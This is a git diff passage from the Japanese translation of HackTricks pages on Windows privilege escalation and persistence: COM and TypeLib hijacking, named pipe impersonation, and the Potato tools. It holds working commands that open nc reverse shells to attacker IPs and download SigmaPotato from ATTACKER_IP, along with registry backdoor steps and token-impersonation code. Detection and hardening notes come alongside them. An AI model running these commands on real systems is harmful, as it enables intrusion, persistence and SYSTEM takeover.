マスク: x64 では token は `EX_FAST_REF` です；下位3ビットが参照カウントのビットになっています。token の元の下位ビットを保持することで即時の参照カウント不整合を避けられます。 +- 安定性: 現在のプロセスを昇格することを優先してください；短命なヘルパーを昇格させると、それが終了したときに SYSTEM を失う可能性があります。 -## 検出 & 対策 -- 強力な IOCTL を公開する署名されていない、または信頼できないサードパーティ製ドライバのロードが根本原因です。 -- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard、および Attack Surface Reduction ルールは脆弱なドライバのロードを防止できます。 -- EDR は arbitrary read/write を実装する疑わしい IOCTL シーケンスや token の入れ替えを監視できます。 +## 検出と緩和 +- 強力な IOCTLs を公開する署名されていない、または信頼できないサードパーティ製ドライバの読み込みが根本原因です。 +- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard、および Attack Surface Reduction ルールは脆弱なドライバの読み込みを防止できます。 +- EDR は arbitrary read/write を実装する疑わしい IOCTL シーケンスや token swaps を監視できます。 -## References +## 参考 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 12ac541a7..d84a546f8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,21 +4,21 @@ ### 存在しない COM コンポーネントの検索 -HKCU の値はユーザーによって変更できるため、**COM Hijacking** は **永続化の手段** として利用できます。`procmon` を使えば、攻撃者が作成して永続化に利用できる、検索されるが存在しない COM レジストリを簡単に見つけられます。フィルタ: +HKCU の値はユーザーによって変更できるため、**COM Hijacking** は**永続化の手段**として利用できます。`procmon` を使用すると、攻撃者が永続化のために作成できる、存在しない COM レジストリが検索された箇所を簡単に見つけられます。フィルタ: -- **RegOpenKey** 操作。 -- その _Result_ が **NAME NOT FOUND** であるもの。 -- そして _Path_ が **InprocServer32** で終わるもの。 +- **RegOpenKey** の操作。 +- _Result_ が **NAME NOT FOUND** のもの。 +- _Path_ が **InprocServer32** で終わるもの。 -代わりに偽装する存在しない COM を決めたら、次のコマンドを実行します。 _数秒ごとにロードされる COM を偽装することにすると過剰になり得るので注意してください._ +偽装する存在しない COM を決めたら、以下のコマンドを実行します。_数秒ごとに読み込まれる COM を偽装すると過剰な動作を引き起こす可能性があるので注意してください。_ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" ``` -### ハイジャック可能なタスク スケジューラ COM コンポーネント +### ハイジャック可能な Task Scheduler COM コンポーネント -Windows Tasks は Custom Triggers を使って COM オブジェクトを呼び出します。これらは Task Scheduler を通じて実行されるため、いつトリガーされるかを予測しやすくなります。 +Windows Tasks は Custom Triggers を使って COM オブジェクトを呼び出します。Task Scheduler 経由で実行されるため、いつトリガーされるかを予測しやすくなります。 
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-出力を確認すると、例えば **ユーザーがログインするたびに** 実行されるものを選択できます。 +出力を確認すると、例えば **ユーザーがログインするたび** 実行されるタスクを選べます。 -次に CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** を **HKEY\CLASSES\ROOT\CLSID** および HKLM、HKCU で検索すると、通常その値は HKCU には存在しないことがわかります。 +次に、CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** を **HKEY\CLASSES\ROOT\CLSID** と HKLM および HKCU で検索すると、通常その値は HKCU に存在しないことが分かります。 ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,32 +72,32 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -その後、HKCU エントリを作成するだけで、ユーザーがログインするたびに your backdoor が起動します。 +その後、HKCU エントリを作成するだけで、ユーザーがログインするたびにあなたの backdoor が実行されます。 --- ## COM TypeLib Hijacking (script: moniker persistence) -Type Libraries (TypeLib) は COM インターフェースを定義し、`LoadTypeLib()` を介してロードされます。COM サーバーがインスタンス化されると、OS は `HKCR\TypeLib\{LIBID}` 以下のレジストリキーを参照して関連する TypeLib をロードすることがあります。TypeLib のパスが **moniker**（例: `script:C:\...\evil.sct`）に置き換えられると、TypeLib が解決される際に Windows がそのスクリプトレットを実行します — これにより、一般的なコンポーネントが触れられたときに発動するステルスな永続化が得られます。 +Type Libraries (TypeLib) は COM インターフェースを定義し、`LoadTypeLib()` を介して読み込まれます。COM サーバーがインスタンス化されると、OS は関連する TypeLib を `HKCR\TypeLib\{LIBID}` 以下のレジストリキーを参照して読み込むことがあります。TypeLib のパスが **moniker**（例: `script:C:\...\evil.sct`）で置き換えられると、TypeLib が解決される際に Windows は scriptlet を実行します — これにより、一般的なコンポーネントが呼び出されたときに発動するステルス性の高い持続化が得られます。 -これは Microsoft Web Browser control に対して観測されており（頻繁に Internet Explorer、WebBrowser を埋め込むアプリ、そして `explorer.exe` によってロードされます）、悪用されています。 +これは Microsoft Web Browser control に対して確認されており（Internet Explorer、WebBrowser を埋め込んだアプリ、さらには `explorer.exe` によって頻繁に読み込まれます）。 ### Steps (PowerShell) -1) 頻度の高い CLSID が使用する TypeLib (LIBID) を特定する。例 CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser)。 +1) 高頻度で使用される CLSID が使用する TypeLib (LIBID) を特定します。例として、マルウェアチェーンにより頻繁に悪用される CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser)。 ```powershell $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' $ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName "CLSID=$clsid LIBID=$libid VER=$ver" ``` -2) ユーザーごとの TypeLib パスをローカルの scriptlet に `script:` モニカーで指定する（管理者権限は不要）: +2) ユーザーごとの TypeLib パスをローカルの scriptlet を指すように `script:` モニカーで設定する（管理者権限不要): ```powershell $dest = 'C:\\ProgramData\\Udate_Srv.sct' New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" ``` -3) 最小限の JScript `.sct` を配置して、primary payload を再起動させる（例: initial chain で使用される `.lnk`）: +3) Drop 最小限の JScript `.sct` を配置して primary payload（例: initial chain で使用される `.lnk`）を再起動する: ```xml @@ -114,7 +114,7 @@ sh.Run(cmd, 0, false); ``` -4) トリガー – IE を開く、WebBrowser control を埋め込んだアプリケーションを起動する、あるいは通常の Explorer の操作を行うだけで TypeLib が読み込まれ scriptlet が実行され、logon/reboot 時にあなたの chain が再度有効化されます。 +4) トリガー – IE を開く、WebBrowser control を埋め込んだアプリケーションを起動する、あるいは通常の Explorer の操作でさえ TypeLib をロードして scriptlet を実行し、ログオン/再起動時に chain を再有効化します。 クリーンアップ ```powershell @@ -124,10 +124,10 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` 注意 -- 同じロジックを他の使用頻度の高い COM コンポーネントにも適用できます。まず `HKCR\CLSID\{CLSID}\TypeLib` から実際の `LIBID` を解決してください。 -- 64ビットシステムでは、64ビットの利用元向けに `win64` サブキーも設定できます。 +- 他の高頻度で使用される COM コンポーネントにも同じロジックを適用できます；常に実際の `LIBID` を先に `HKCR\CLSID\{CLSID}\TypeLib` から解決してください。 +- 64-bit システムでは、64-bit の利用者向けに `win64` サブキーも設定できます。 -## 参考資料 +## 参考 - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 9755ba194..5ad3288d0 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,28 +1,28 @@ -# Named Pipe client impersonation +# Named Pipe Client Impersonation {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation は、named-pipe サーバースレッドが接続してきたクライアントのセキュリティコンテキストを引き受けることを可能にするローカル権限昇格プリミティブです。実務では、SeImpersonatePrivilege でコードを実行できる攻撃者が、特権のあるクライアント（例: SYSTEM service）を攻撃者が制御するパイプに接続させ、ImpersonateNamedPipeClient を呼び出させ、得られたトークンをプライマリトークンに Duplicate し、クライアントとしてプロセスを生成（多くの場合 NT AUTHORITY\SYSTEM）します。 +Named Pipe client impersonation は、接続するクライアントのセキュリティコンテキストを名前付きパイプのサーバースレッドが引き受けることを可能にするローカル権限昇格のプリミティブです。実際には、SeImpersonatePrivilege を持ってコードを実行できる攻撃者は、特権を持つクライアント（例: SYSTEM サービス）を攻撃者制御下のパイプに接続させ、ImpersonateNamedPipeClient を呼び出し、得られたトークンをプライマリトークンに複製してプロセスをクライアントとして生成する（多くの場合 NT AUTHORITY\SYSTEM）ことができます。 -このページはコア技術に焦点を当てています。SYSTEM をあなたのパイプに強制的に接続させるエンドツーエンドのエクスプロイトチェーンについては、下記の Potato family ページを参照してください。 +このページではコア技術に焦点を当てます。SYSTEM をあなたのパイプに誘導するエンドツーエンドのエクスプロイトチェーンについては、下記の Potato family ページを参照してください。 ## TL;DR -- Create a named pipe: \\.\pipe\ と作成し、接続を待つ。 -- 特権コンポーネントをそれに接続させる（spooler/DCOM/EFSRPC/etc.）。 -- パイプから少なくとも1メッセージを読み取り、その後 ImpersonateNamedPipeClient を呼ぶ。 -- 現在のスレッドからインパーソネーションのトークンを開き、DuplicateTokenEx(TokenPrimary) を実行し、CreateProcessWithTokenW/CreateProcessAsUser で SYSTEM プロセスを得る。 +- Create a named pipe: \\.\pipe\ を作成して接続を待つ。 +- 特権を持つコンポーネントをそれに接続させる (spooler/DCOM/EFSRPC/etc.)。 +- パイプから少なくとも1メッセージを読み取り、その後 ImpersonateNamedPipeClient を呼び出す。 +- 現在のスレッドからインパーソネーショントークンを開き、DuplicateTokenEx(TokenPrimary)、CreateProcessWithTokenW/CreateProcessAsUser で SYSTEM プロセスを取得する。 -## Requirements and key APIs -- 呼び出しプロセス/スレッドに通常必要な権限: -- SeImpersonatePrivilege — 接続してきたクライアントを正常にインパーソネートし、CreateProcessWithTokenW を使うために必要。 -- あるいは、SYSTEM をインパーソネートした後に CreateProcessAsUser を使うこともでき、その場合は SeAssignPrimaryTokenPrivilege と SeIncreaseQuotaPrivilege が必要になることがある（これらは SYSTEM をインパーソネートしている場合に満たされる）。 -- 使用される主な API: +## 要件と主要な APIs +- 呼び出し元のプロセス/スレッドが通常必要とする権限: +- SeImpersonatePrivilege — 接続してくるクライアントを正しくインパーソネートし、CreateProcessWithTokenW を使用するために必要。 +- 代替手段として、SYSTEM をインパーソネートした後に CreateProcessAsUser を使用することもでき、その場合 SeAssignPrimaryTokenPrivilege と SeIncreaseQuotaPrivilege が必要になることがある（これらは SYSTEM をインパーソネートしている間は満たされる）。 +- 使用される主要な API: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile（インパーソネーション前に少なくとも1メッセージを読む必要あり） -- ImpersonateNamedPipeClient と RevertToSelf +- ReadFile/WriteFile (インパーソネーションの前に少なくとも1メッセージを読み取る必要がある) +- ImpersonateNamedPipeClient and RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) -- CreateProcessWithTokenW または CreateProcessAsUser -- インパーソネーションレベル: ローカルで有用な操作を行うには、クライアントが SecurityImpersonation を許可している必要がある（多くのローカル RPC/named-pipe クライアントのデフォルト）。クライアントはパイプを開く際に SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION でこれを下げることができる。 +- CreateProcessWithTokenW or CreateProcessAsUser +- インパーソネーションレベル: ローカルで有用な操作を行うには、クライアントが SecurityImpersonation を許可している必要がある（多くのローカル RPC/名前付きパイプクライアントのデフォルト）。クライアントはパイプを開く際に SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION でこれを下げることができる。 ## Minimal Win32 workflow (C) ```c @@ -68,12 +68,12 @@ RevertToSelf(); // Restore original context return 0; } ``` -注意事項: -- ImpersonateNamedPipeClient が ERROR_CANNOT_IMPERSONATE (1368) を返す場合、最初にパイプから読み取っていることと、クライアントがインパーソネーションを Identification level に制限していないことを確認してください。 -- プロセス作成に適したプライマリトークンを作成するには、DuplicateTokenEx を SecurityImpersonation と TokenPrimary と共に使用することを推奨します。 +注意: +- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), まずパイプから読み取ることと、クライアントがインパーソネーションを Identification レベルに制限していないことを確認してください。 +- プロセス作成に適したプライマリトークンを作成するには、SecurityImpersonation と TokenPrimary を指定した DuplicateTokenEx を使用することを推奨します。 ## .NET の簡単な例 -.NET では、NamedPipeServerStream は RunAsClient 経由でインパーソネートできます。インパーソネート中にスレッドトークンを複製し、プロセスを作成します。 +.NET では、NamedPipeServerStream は RunAsClient を使ってインパーソネートできます。インパーソネートしたら、スレッドトークンを複製してプロセスを作成します。 ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -93,10 +93,10 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } } ``` -## Common triggers/coercions to get SYSTEM to your pipe -これらの手法は、特権を持つサービスをあなたの named pipe に接続させ、インパーソネートできるように強制します: -- Print Spooler RPC トリガー (PrintSpoofer) -- DCOM activation/NTLM reflection のバリアント (RoguePotato/JuicyPotato[NG], GodPotato) +## SYSTEMをあなたのパイプに接続させる一般的なトリガー/強制手法 +これらの手法は特権サービスにあなたの named pipe に接続させ、インパーソネートできるようにします: +- Print Spooler RPC trigger (PrintSpoofer) +- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) See detailed usage and compatibility here: @@ -117,20 +117,20 @@ If you just need a full example of crafting the pipe and impersonating to spawn from-high-integrity-to-system-with-name-pipes.md {{#endref}} -## Troubleshooting and gotchas -- ImpersonateNamedPipeClient を呼ぶ前に、少なくとも1つのメッセージをパイプから読み取る必要があります。そうしないと ERROR_CANNOT_IMPERSONATE (1368) が返ります。 -- クライアントが SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION で接続した場合、サーバーは完全にインパーソネートできません。GetTokenInformation(TokenImpersonationLevel) でトークンのインパーソネーション レベルを確認してください。 -- CreateProcessWithTokenW は呼び出し元に SeImpersonatePrivilege を要求します。これが ERROR_PRIVILEGE_NOT_HELD (1314) で失敗する場合は、既に SYSTEM をインパーソネートした後に CreateProcessAsUser を使ってください。 -- パイプのセキュリティ記述子をハードニングしている場合、対象サービスが接続できるように許可があることを確認してください。デフォルトでは \\.\pipe 以下のパイプはサーバーの DACL に従ってアクセス可能です。 +## トラブルシューティングと注意点 +- ImpersonateNamedPipeClient を呼ぶ前に、パイプから少なくとも1つのメッセージを読み取る必要があります。そうしないと ERROR_CANNOT_IMPERSONATE (1368) が返ります。 +- クライアントが SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION で接続した場合、サーバは完全にインパーソネートできません。GetTokenInformation(TokenImpersonationLevel) でトークンのインパーソネーションレベルを確認してください。 +- CreateProcessWithTokenW は呼び出し元に SeImpersonatePrivilege を要求します。ERROR_PRIVILEGE_NOT_HELD (1314) で失敗する場合は、既に SYSTEM をインパーソネートした後に CreateProcessAsUser を使用してください。 +- パイプをハードニングした場合は、パイプのセキュリティ記述子が対象サービスの接続を許可していることを確認してください。デフォルトでは \\.\pipe 以下のパイプはサーバの DACL に従ってアクセス可能です。 -## Detection and hardening -- named pipe の作成と接続を監視してください。Sysmon Event IDs 17 (Pipe Created) と 18 (Pipe Connected) は正当なパイプ名のベースライン化や、トークン操作イベントに先行する異常でランダムに見えるパイプの検出に有用です。 -- 次のシーケンスを探します: プロセスがパイプを作成し、SYSTEM サービスが接続し、その後作成プロセスが SYSTEM として子プロセスを生成する。 -- 非必須のサービスアカウントから SeImpersonatePrivilege を削除し、高い権限での不要なサービスログオンを避けることで曝露を減らします。 -- 防御的開発: 信頼できない named pipe に接続する場合、SECURITY_SQOS_PRESENT と SECURITY_IDENTIFICATION を指定して、必要な場合以外はサーバーがクライアントを完全にインパーソネートできないようにします。 +## 検出とハードニング +- named pipe の作成と接続を監視します。Sysmon Event IDs 17 (Pipe Created) と 18 (Pipe Connected) は正当なパイプ名のベースライン作成や、トークン操作イベントに先行する異常でランダムに見えるパイプの検出に有用です。 +- 次のようなシーケンスを探します: プロセスがパイプを作成 → SYSTEM サービスが接続 → 作成したプロセスが SYSTEM として子プロセスを生成。 +- 非必須のサービスアカウントから SeImpersonatePrivilege を削除し、高権限での不要なサービスログオンを避けることで露出を減らします。 +- 防御的な開発: 信頼できない named pipe に接続する際は、必要でない限りサーバがクライアントを完全にインパーソネートできないよう、SECURITY_SQOS_PRESENT と SECURITY_IDENTIFICATION を指定してください。 ## References -- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient -- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation +- Windows: ImpersonateNamedPipeClient ドキュメント（インパーソネーション要件と挙動）。 https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- ired.team: Windows named pipes privilege escalation（手順とコード例）。 https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index ee8af6799..11b4fdb6e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -22,23 +22,23 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## Requirements and common gotchas +## 要件とよくある落とし穴 -All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges: +以下の手法はすべて、以下のいずれかの権限を持つコンテキストから、インパーソネーション（impersonation）が可能な特権サービスを悪用することに依存します: -- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege -- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.) +- SeImpersonatePrivilege（最も一般的）または SeAssignPrimaryTokenPrivilege +- トークンがすでに SeImpersonatePrivilege を持っている場合（IIS AppPool、MSSQL など多くのサービスアカウントに典型的）、High integrity は不要です。 -Check privileges quickly: +権限を素早く確認: ```cmd whoami /priv | findstr /i impersonate ``` -運用上の注意: +運用メモ: -- PrintSpoofer は Print Spooler service が起動しており、ローカル RPC エンドポイント (spoolss) 経由で到達可能である必要があります。ハードニングされた環境で post-PrintNightmare により Spooler が無効化されている場合は、RoguePotato/GodPotato/DCOMPotato/EfsPotato を優先してください。 -- RoguePotato は TCP/135 上で到達可能な OXID resolver を必要とします。egress がブロックされている場合は、redirector/port-forwarder を使用してください（下の例を参照）。古いビルドでは -f フラグが必要でした。 -- EfsPotato/SharpEfsPotato は MS-EFSR を悪用します。あるパイプがブロックされている場合は、代替のパイプ（lsarpc、efsrpc、samr、lsass、netlogon）を試してください。 -- RpcBindingSetAuthInfo 実行中に発生するエラー 0x6d3 は、通常、未知または未サポートの RPC 認証サービスを示します。別のパイプ/トランスポートを試すか、対象のサービスが実行中であることを確認してください。 +- PrintSpoofer は Print Spooler service が稼働しており、ローカル RPC エンドポイント (spoolss) 経由で到達可能である必要があります。PrintNightmare 後に Spooler が無効化されているようなハードニングされた環境では、RoguePotato/GodPotato/DCOMPotato/EfsPotato を優先してください。 +- RoguePotato は TCP/135 上で到達可能な OXID resolver を必要とします。egress がブロックされている場合は redirector/port-forwarder を使用してください（下の例を参照）。古いビルドでは -f フラグが必要でした。 +- EfsPotato/SharpEfsPotato は MS-EFSR を悪用します。あるパイプがブロックされている場合は、代替のパイプ (lsarpc, efsrpc, samr, lsass, netlogon) を試してください。 +- RpcBindingSetAuthInfo 実行中に発生する Error 0x6d3 は、通常、未知またはサポートされていない RPC 認証サービスを示します。別のパイプ/トランスポートを試すか、対象サービスが実行中であることを確認してください。 ## クイックデモ @@ -58,7 +58,7 @@ NULL ``` 注意: -- 現在のコンソールでインタラクティブなプロセスを生成するには -i を、ワンライナーを実行するには -c を使用できます。 +- 現在のコンソールでインタラクティブなプロセスを起動するには -i を、ワンライナーを実行するには -c を使用できます。 - Spooler service が必要です。無効になっていると失敗します。 ### RoguePotato @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -アウトバウンドのポート135がブロックされている場合は、redirector上でsocatを使ってOXID resolverをピボットしてください: +アウトバウンド135がブロックされている場合は、リダイレクタ上でsocat経由でOXID resolverをpivotしてください: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -ヒント: あるパイプが失敗するか EDR によってブロックされた場合は、他のサポートされているパイプを試してください: +ヒント: ある pipe が失敗するか EDR によってブロックされた場合は、他のサポートされている pipes を試してください: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -注記: +Notes: - SeImpersonatePrivilege が存在する場合、Windows 8/8.1–11 および Server 2012–2022 で動作します。 ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato は、RPC_C_IMP_LEVEL_IMPERSONATE をデフォルトとするサービスの DCOM オブジェクトをターゲットにした 2 つのバリアントを提供します。提供されたバイナリをビルドするか使用し、コマンドを実行してください: +DCOMPotato は、デフォルトで RPC_C_IMP_LEVEL_IMPERSONATE を使用するサービスの DCOM オブジェクトを標的とする 2 種類のバリアントを提供します。提供された binaries をビルドするか使用して、コマンドを実行してください: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (更新された GodPotato のフォーク) +### SigmaPotato (更新された GodPotato フォーク) -SigmaPotato は .NET reflection を使ったインメモリ実行や PowerShell reverse shell helper のようなモダンな便利機能を追加します。 +SigmaPotato は .NET reflection を介した in-memory execution や PowerShell reverse shell helper といったモダンな便利機能を追加します。 ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -150,13 +150,13 @@ SigmaPotato は .NET reflection を使ったインメモリ実行や PowerShell ``` ## 検出とハードニングの注意点 -- プロセスが名前付きパイプを作成し、直後にトークン複製用APIを呼び出してから CreateProcessAsUser/CreateProcessWithTokenW を実行する動きを監視する。Sysmon は有用なテレメトリを示せる: Event ID 1 (process creation)、17/18 (named pipe created/connected)、および SYSTEM として子プロセスを生成するコマンドライン。 -- Spooler のハードニング: 不要なサーバーで Print Spooler サービスを無効化すると、spoolss 経由の PrintSpoofer 型のローカル悪用を防止できる。 -- サービスアカウントのハードニング: カスタムサービスに SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege を割り当てるのは最小限にする。可能であれば必要最小権限の仮想アカウントでサービスを実行し、service SID や書き込み制限されたトークンで隔離することを検討する。 -- ネットワーク制御: アウトバウンド TCP/135 をブロックするか RPC endpoint mapper トラフィックを制限することで、内部リダイレクタが利用できない限り RoguePotato を阻止できる。 -- EDR/AV: これらのツールは広くシグネチャ化されている。ソースから再コンパイルしたりシンボル/文字列をリネームしたりインメモリ実行を使うことで検出を減らせるが、堅牢な振る舞い検出を完全に回避することはできない。 +- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM. +- Spooler hardening: Disabling the Print Spooler service on servers where it isn’t needed prevents PrintSpoofer-style local coercions via spoolss. +- Service account hardening: カスタムサービスへの SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege の割当は最小限にする。可能であれば、必要最小権限の仮想アカウントでサービスを実行し、service SID や書き込み制限付きトークンで分離することを検討する。 +- Network controls: outbound TCP/135 をブロックするか RPC endpoint mapper トラフィックを制限すると、内部リダイレクタがない限り RoguePotato を破綻させる可能性がある。 +- EDR/AV: これらのツールは広くシグネチャ化されている。recompiling from source、シンボル/文字列のリネーム、または in-memory execution を用いることで検出を低減できるが、堅牢な振る舞いベースの検出を回避することはできない。 -## 参考 +## References - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)